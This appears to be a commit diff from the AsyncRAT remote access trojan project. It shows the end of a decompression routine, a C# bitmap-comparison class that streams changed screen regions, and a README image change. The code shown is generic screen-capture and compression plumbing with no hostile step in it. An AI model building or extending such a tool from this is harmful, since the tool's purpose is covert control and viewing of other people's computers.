hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
hashtable[hash] = last_hashed;
hash_counter[hash] = 1;
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
}
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
}
else
{
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
}
last_hashed = dst - 1;
}
else
{
if (dst <= last_matchstart)
{
destination[dst] = source[src];
dst += 1;
src += 1;
cword_val = cword_val >> 1;
if (level == 1)
{
while (last_hashed < dst - 3)
{
last_hashed++;
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
hashtable[hash] = last_hashed;
hash_counter[hash] = 1;
}
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
}
else
{
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
}
}
else
{
while (dst <= size - 1)
{
if (cword_val == 1)
{
src += CWORD_LEN;
cword_val = 0x80000000;
}
destination[dst] = source[src];
dst++;
src++;
cword_val = cword_val >> 1;
}
return destination;
}
}
}
}
}
}

View File

@ -0,0 +1,177 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Text;
namespace StreamLibrary.src
{
public unsafe class SimpleBitmap
{
private object ProcessingLock = new object();
public SimpleBitmapInfo Info { get; internal set; }
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
public IntPtr Scan0 { get; internal set; }
public int Scan0_int { get; internal set; }
public BitmapData bitmapData { get; internal set; }
public Bitmap bitMap { get; set; }
public class SimpleBitmapInfo
{
public SimpleBitmapInfo()
{
Clear();
}
public SimpleBitmapInfo(BitmapData data)
{
Load(data);
}
public int Stride { get; protected set; }
public int PixelSize { get; protected set; }
public int Width { get; protected set; }
public int Height { get; protected set; }
public int TotalSize { get; protected set; }
internal void Clear()
{
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
}
internal void Load(BitmapData data)
{
Width = data.Width; Height = data.Height; Stride = data.Stride;
PixelSize = Math.Abs(data.Stride) / data.Width;
TotalSize = data.Width * data.Height * PixelSize;
}
}
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
{
int calc = 0;
int WidthSize = block.Width * sharedInfo.PixelSize;
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
for (int i = 0; i < block.Height; i++)
{
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
return false;
calc += sharedInfo.Stride;
}
return true;
}
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
{
int calc = 0;
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
calc = y * sharedInfo.Stride;
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
return false;
return true;
}
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
{
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
return false;
return true;
}
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
{
int calc = 0;
int WidthSize = block.Width * Info.PixelSize;
int CopyOffset = 0;
int scan0 = Scan0.ToInt32();
int destSize = WidthSize * block.Height;
if (dest == null || dest.Length != destSize)
dest = new byte[destSize];
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
fixed (byte* ptr = dest)
{
for (int i = 0; i < block.Height; i++)
{
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
calc += Info.Stride;
CopyOffset += WidthSize;
}
}
}
public SimpleBitmap()
{
Scan0 = IntPtr.Zero;
bitmapData = null;
bitMap = null;
Info = new SimpleBitmapInfo();
}
public SimpleBitmap(Bitmap bmp)
{
this.bitMap = bmp;
}
public void Lock()
{
if (Locked)
throw new Exception("Already locked");
lock (ProcessingLock)
{
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
Info = new SimpleBitmapInfo(bitmapData);
Scan0 = bitmapData.Scan0;
Scan0_int = Scan0.ToInt32();
}
}
public void Unlock()
{
if (!Locked)
throw new Exception("Nothing to unlock");
lock (ProcessingLock)
{
Scan0 = IntPtr.Zero;
Scan0_int = 0;
Info.Clear();
bitMap.UnlockBits(bitmapData);
bitmapData = null;
}
}
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
{
int CopySize = Info.PixelSize * loc.Width;
int OffsetX = loc.X * Info.PixelSize;
int TotalCopied = 0;
fixed (byte* ptr = block)
{
for (int i = 0; i < loc.Height; i++)
{
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
TotalCopied += CopySize;
}
}
}
public void Dispose(bool disposeBitmap = false)
{
if (Locked)
Unlock();
if (disposeBitmap)
bitMap.Dispose();
bitMap = null;
}
}
}

View File

@ -1,4 +1,4 @@
<img src="https://i.imgur.com/g7dai1Z.png">
<img src="https://i.imgur.com/3T5aqvB.png">
# AsyncRAT